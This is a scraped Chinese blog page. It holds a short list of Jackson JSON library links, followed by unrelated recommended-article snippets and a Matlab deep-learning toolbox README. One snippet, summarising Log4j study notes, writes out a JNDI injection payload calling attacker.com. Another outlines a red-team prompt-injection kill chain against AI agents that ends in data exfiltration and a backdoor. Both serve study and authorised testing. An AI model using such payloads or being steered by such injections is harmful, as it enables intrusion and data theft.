墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
100+累计阅读
139平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
官方网址：
http://jackson.codehaus.org/
操作API的三种方式：
http://wiki.fasterxml.com/JacksonInFiveMinutes#Streaming_API_Example
api download:
http://wiki.fasterxml.com/JacksonDownload?action=newaccount
官方示例：http://wiki.fasterxml.com/JacksonInFiveMinutes
jackson中文入門：
http://www.blogjava.net/pcenshao/archive/2011/10/03/359951.html
利用Jackson对Object,Map,List,数组,枚举,日期类等转化为json
http://zhangyou1010.iteye.com/blog/1049259
woodstox stax XML api
http://woodstox.codehaus.org/
AI 网关一把 Key 接通 Claude Code 与 Codex 实战（附配置）
在研发与 SRE 团队中，通常会通过自建 AI 网关（如 Sub2API 等多上游聚合网关）向工程师发放统一的sk-API Key，背后挂载 OpenAI（GPT 系列）、xAI（Grok 系列）、DeepSeek 等上游账号池。当工程师尝试把同一把sk-密钥同时配置到Codex CLI与Cursor 内置终端协议转发被拒：复合分组（composite）下只有 OpenAI/Grok/DeepSeek 账号，没有原生 Anthropic 账号，Claude Code 调直接返回。/model。
详解Jackson 使用以及性能介绍
Jackson 是当前用的比较广泛的，用来序列化和反序列化 json 的 Java 的开源框架。Jackson 社 区相对比较活跃，更新速度也比较快， 从 Github 中的统计来看，Jackson 是最流行的 json 解析器之一。Spring MVC 的默认 json 解析器便是 Jackson。Jackson 优点很多。Jackson 所依赖的 jar 包较少 ，简单易用。与其他 Java 的 json 的框架 Gson 等相比，Jackson 解析大的 json 文件速度比较快；
威联通改装飞牛fnOS全攻略：从刷机到Docker影视部署
NAS系统是家庭数字存储的核心，x86架构的威联通设备凭借通用引导和驱动支持，成为改装替代系统的理想平台。飞牛fnOS作为基于Debian的国产NAS系统，以简洁UI、内置Docker和影视墙以及硬件转码能力，吸引了大量玩家。通过U盘引导安装、BIOS调整、系统盘SSD部署，可实现系统切换；原机械硬盘可挂载为存储池，配合Docker部署下载、远程访问等容器，影视中心自动削刮海报墙，硬件转码保障4K播放。改装过程需注意引导失败、硬盘识别、核显驱动等问题。这套方案能让老旧威联通焕发新生，兼顾易用性与扩展性。本文
Jackson 序列化 / 反序列化注解 完整版笔记
Jackson 序列化 / 反序列化注解 完整版笔记
深入解析DDR5 RFM机制：从JESD79-5标准到硬件实现
本文深入解析了DDR5内存标准中的关键机制——RFM（Refresh Management）。文章从JESD79-5标准出发，详细阐述了RFM如何通过RAA计数器实现从被动定时到主动响应的智能刷新管理，并探讨了其硬件实现细节、命令调度挑战及系统级设计考量，为芯片设计工程师优化DDR5内存子系统性能与可靠性提供了实践指导。
图解ADAS电源系统架构：看懂这张图，搞懂前装摄像头的供电秘密！
别以为ADAS系统就是“摄像头 + SoC”，其实最难搞的是供电系统，尤其是要满足车规级ASIL-D安全等级时。供电时序、电压稳定性、电源监控、冗余通信链路，一个都不能少。😤一旦电源选型不对，轻则系统卡顿，重则全车失控，不是闹着玩的。
【每天一个 Python 小案例30】Python 基础知识综合小项目：我的工具盒
作为系列收官，本篇把前 29 篇的知识点合成一个能直接用的命令行工具"我的工具盒"：计算器（用 ast 解析表达式，不碰 eval）、单位换算与温度转换（一张换算表 + 特例分支）、记账与分类统计（Decimal + JSON 持久化）、以及用"字典当命令表"把菜单和业务逻辑解耦的主循环。文中对比了 eval 的安全隐患与 ast 白名单的做法，解释了 lambda 闭包在字典里的写法与晚绑定陷阱，并在最后给出整个系列的知识地图，把变量、数据结构、控制流、函数、类、异常、文件、标准库八块内容对应到具体篇目。
RK3568笔记二：部署手写数字识别模型
部署手写数字识别模型，使用手写数字识别（mnist）数据集训练了一个 LENET 的五层经典网络模型。Lenet是我们的深度学习入门的必学模型，是深度学习领域中的经典卷积神经网络（CNN）架构之一。过程分为：训练，导出ONNX，转化RKNN，测试。
NGINX 1.31.5：Control API、predicate location、请求体提前检查等新特性
任何在 HTTP/2 下启用了 proxy_buffering 的代理配置，都可能把已释放堆内存的内容发送给客户端，而且不需要任何恶意输入就能触发——只要 body filter 返回一个错误，同时又有慢客户端导致 DATA 帧不断堆积，就足以引发问题，这也是为什么同样的 drain 路径在 HTTP/1.1 下始终没有暴露出来。现在的变化是，这些结果会按照设计在长度校验的地方就被决定下来，而 QUIC 连接也会以明确的协议错误结束，而不是因密钥派生失败而结束。
openclaw本地模型对接
使用是官方推荐的一种集成方式，它可以简化配置过程。但由于您的系统环境和之前复杂的配置历史，我为您梳理了一个核心流程，并增加了关键的“事后检查”步骤，以确保能从根本上解决问题。
时间序列分析(Time Series Analysis) 原理与代码实例讲解
时间序列分析(Time Series Analysis) - 原理与代码实例讲解 作者：禅与计算机程序设计艺术 / Zen and the Art of Computer Programming 关键词：时间序列预测,ARIMA模型,状态空间模型,SARIMA模型,机器学习
Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入
本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行，攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制，诱导目标向恶意LDAP服务器请求并加载远程类，最终执行命令（如弹出计算器）。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性，当用户输入可控的{"@type":"com.xiaodi.Run"}时，自动加载并实例化恶
如何用DeepSeek写年底工作总结？——从入门到精通的全流程指南
AI助手DeepSeek如何高效撰写工作总结 摘要：本文介绍如何利用DeepSeek智能AI助手高效完成工作总结写作。工作总结具有结构固定、语言规范、内容数据化三大特性，而DeepSeek的结构化生成、风格适配、数据整合和迭代优化四大核心能力与之完美匹配。文章提出"准备-搭架-填充-优化"四步工作法：1)精准输入岗位、时间范围等核心信息；2)先搭建逻辑清晰的提纲框架；3)分模块填充具体内容，突出数据与案例；4)通过风格润色和细节补充进行优化。通过合理运用多模态材料处理能力，DeepSee
Vue 前端开发 AI 对话页面：流式消息渲染、文件上传
关键点是不能手动设置 Content-Type 为 multipart/form-data，必须由浏览器自动生成带有 boundary 的请求头，否则后端无法解析。思路：将对象序列化为 JSON 字符串，作为 FormData 的一个普通字段（如 formData.append(‘payload’, JSON.stringify(data))），后端接收该字段后再反序列化。若上传大文件（>10MB），需实现独立的分片上传接口，在提交对话前先获取文件 id 或 url，再随文本发送引用。移除输入框的禁用态；
【YOLOv8科研级优化】基于YOLOv9的GELAN模块重构C2f结构，实现精度与效率的同步提升
打开确保模型解析器能识别GELANBlock模块。通过将YOLOv9的GELAN模块集成到YOLOv8的C2f模块中，我们实现了一个“强特征表达+高效计算”的目标检测模型。这个改进不仅在工程上能提升复杂场景下的检测效果，更在科研上提供了“多分支特征融合”的创新思路——这种思路可以延伸到其他检测网络（如Faster R-CNN、SSD）的改进中，帮你在论文中打造独特的研究点。
华为的C语言编程规范.pdf
华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。
填完一张场景表单，SagooIoT 在后台生成一条规则链
链上的functions节点最终要调到一个 Go 函数。msg进、msg出。业务参数从反序列化，执行结果通过交回链上，同时塞进执行日志（下一节讲）。设置属性把界面上的属性数组摊平成一个 map，交给。下行指令走的是平台既有的属性设置通道，和 REST 接口下发的指令是同一条路——场景不是旁路，它用的是同一套下行能力。获取属性按属性列表逐个调，把结果收集成 map。这样"先读当前状态、再决定动作"也能在一个动作里完成。功能调用把和parameter交给，也就是物模型里的"服务调用"。发送通知。
深度学习工具包 DeepLearningToolbox
深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[](https://bitdeli.com/free "Bitdeli Badge")
大模型安全Red Team之四：从枚举到杀伤链------Prompt Injection 驱动 Agentic Actions 的渗透测试
本文为红队与渗透测试人员提供一套可复现的AgenticAI攻击方法论：先枚举可由Prompt触发的Agent动作（如发邮件、删日历、改配置），再通过文档、邮件、日历、网页等隐蔽通道注入载荷，利用延迟调用、意图播种、多链绕过等技巧突破防御，最终串联成“读邮件→外带数据→加密文件→持久化后门”等完整杀伤链。强调所有测试须在授权范围内进行，核心结论：每个Connector都是攻击路径，关闭确认弹窗即风险接受。
IDEA的使用指南
IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.
Camera2Demo
在Camera2 的基础上进行封装，使得Camera2一堆初始化逻辑与Activity分离，降低耦合度，完成预览拍照并保存的操作
股票历史数据的复权参数对照：多级别返回的字段与数值差异
历史分时接口的路径里有一段「除权方式」。很多人默认它只是同一个序列的展示选项，于是把不同参数下返回的c直接拼进同一张表做比较。n下日线收盘价是11.71b下同一天的收盘价是1197.96，相差两个数量级，而v与a却完全不变。如果落库时没把参数写进元数据，后续按同一个阈值过滤价格，会把一半记录判成异常；如果解析层默认所有参数组合都会返回 JSON 数组，遇到一个无效参数就会在json.loads那一行直接抛错。
【人工智能】如何搭建工作流：从 SKILL 拆分到多智能体审核
本文介绍如何通过SKILL拆分构建AI工作流：将自媒体流程拆分为选题、写文案、剪视频等独立SKILL，由调度SKILL统一管理，并借助status.json与log.md实现状态追踪与日志记录。进一步引入多智能体审核机制，主智能体调度上下文独立的子智能体进行交叉复核，避免“灯下黑”。关键在于持续维护与优化，而非一次性搭建。
FastGPT 接入 glm-5.3 通用排障指南：模型 ID、参数透传与超时检查（版本范围说明）
不同 FastGPT 和 AI Proxy 版本的菜单位置及功能可能不同，常见入口包括“模型配置”“模型供应商”或“AI Provider”。如果部署中存在独立 AI Proxy，应在真正负责发送上游请求的服务中完成配置。只修改前端显示名称，不会自动改变后端请求使用的 model ID。配置项示例注意事项接口类型OpenAI 兼容接口上游需支持对应协议Base URLhttps://服务商地址/v1最终地址以请求日志为准API Key实际密钥不要暴露在前端公开变量中Model。
python标准库使用总结
它跟着 Python 解释器一起发布，跨平台（Windows / Linux / Mac / 嵌入式），文档统一，稳定性高。TCP/UDP，和 C 的 socket API 思想几乎一致，嵌入式网络开发必看。和第三方库（requests、numpy）对比：第三方要 pip 装；：IO 多路复用（epoll/poll），写服务端、高并发网络。包（标准库 HTTP 请求，不用装 requests）内置模块是标准库的子集。，是内置模块，不需要 import。包（标准库自带 HTTP 组件）
Markdown 转 PDF API：表格与代码块、公开链接与私有文件
Markdown 转 PDF API 接收非空 Markdown 字符串，返回排版后的 PDF。可以用 JSON 或表单提交标题、表格、代码块等内容。公开模式返回下载 URL，私有模式返回文件引用。
2,615 个知识点、3,003 条先修边：6,800 Star 的开源知识图谱，能顺着错题从高中回溯到小学
2,615 个知识点、3,003 条 hard/soft 先修边、约 1.16 万道题：cn-math-taxonomy 把人教版教材与课标焊进开源知识图谱，答错高中题能回溯到小学知识点。本文拆解其数据工程与自适应诊断算法。
点过「不再询问」？先查 Claude Code 配置会不会把密钥推上 GitHub｜AI开发者日报 第17期
点过「不再询问」，整条带密码的命令可能被明文写进项目里的。如果这个文件跟着代码进了公开 GitHub，密码、API Key、数据库口令就会躺在谁都能打开的地方。安全公司 Apiiro 在 2026 年 11 月 5 日发布研究报告，The Hacker News 于 11 月 7 日做了英文报道，中文 X 今天还在转。数字看起来吓人，但别先转恐慌帖——下面按「机制、数字怎么读、今晚能做的自查」写清楚。Apiiro 没有逐一验证这些密钥现在是否还能用；他们通知过的其中一家公司确认，当时那枚密钥是活的。
Axum 初步入门学习笔记
)自定义错误实现后，可以直接作为Result的ErrAxum 是一个构建在 Tokio、Tower、Hyper 之上的 Rust Web 框架，核心能力是：Router 路由、Extractor 提取器、Tower 中间件、IntoResponse 响应机制、State 共享状态。那张分层架构图是“地图”不是“说明书”：它帮你建立全局观，但 Service、Repository、数据库、Redis、MQ 都是你自己在 Handler 内部调用的业务/基础设施层，不是 Axum 自带的。
从 0 到 1：一个高清书法库的瓦片金字塔、静态化架构与 AI 搜索(SEO/GEO)实践
本文分享了自建书法数字资源库的技术实践：基于瓦片金字塔实现65,536px高清图流畅缩放，采用PIL切片、OpenSeadragon渲染，结合静态JSON索引与PHP路由架构，优化加载性能与内存使用。针对大图浏览、AI搜索适配及运维坑点（如递归死锁、缓存失效、防盗链调试）提出实用解决方案，全站无广告，源码透明，为古籍、文物等数字化项目提供可复用的技术参考。
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
148
扫一扫
